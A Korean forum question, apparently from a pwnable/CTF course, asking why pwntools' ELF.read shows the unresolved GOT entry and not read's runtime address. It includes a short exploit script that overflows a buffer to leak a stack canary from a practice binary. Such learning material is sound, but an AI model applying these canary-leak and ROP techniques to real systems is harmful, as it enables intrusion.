완료됨
read 함수 주소 구하는 방법에 대해 질문 드립니다
함께실습 강의에서 read 함수 주소를 읽기 위해 write 함수를 호출한 방법은 이해했습니다.
저는 처음에 pwntools의 ELF.read 함수를 통해 특정 주소에 저장된 값을 읽어 오는 방법을 시도해보았는데, 이 방법이 실패하는 이유는 무엇인가요?
예시로 아래와 같은 코드를 작성하면 read 함수가 호출된 이후에 GOT 주소에 저장된 값을 출력하는데도 read 함수의 실제 주소가 안 나오고 처음에 GOT 영역에 저장되어있던 임의의 주소(0x4005f6)가 출력됩니다.
요약하자면 ELF.read 함수를 통해 GOT 주소에 저장된 함수 주소를 읽을 수 없는 이유가 궁금합니다.
from pwn import *
p = process('./rop')
e = ELF('./rop')
# canary leak
buf = b'A'*39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
canary = b'\x00'+p.recv(7)
p.recvuntil(b'Buf: ')
addr = hex(u64(e.read((e.got['read']), 8)))
print(addr)
#pwnable
작성자 정보
답변
2